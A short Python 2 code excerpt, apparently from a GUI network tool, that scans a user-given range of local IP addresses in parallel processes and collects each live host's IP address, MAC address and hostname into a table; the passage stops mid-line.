384 | ranger = str(self.ip_range.text()).split('-')
385 | jobs = []
386 | manager = Manager()
387 | on_ips = manager.dict()
388 | for n in xrange(int(ranger[0]),int(ranger[1])):
389 | ip='%s{0}'.format(n)%(gateway)
390 | p = Process(target=self.working,args=(ip,on_ips))
391 | jobs.append(p)
392 | p.start()
393 | for i in jobs: i.join()
394 | for i in on_ips.values():
395 | Headers = []
396 | n = i.split('|')
397 | self.data['IPaddress'].append(n[0])
398 | self.data['MacAddress'].append(n[1])
399 | self.data['Hostname'].append('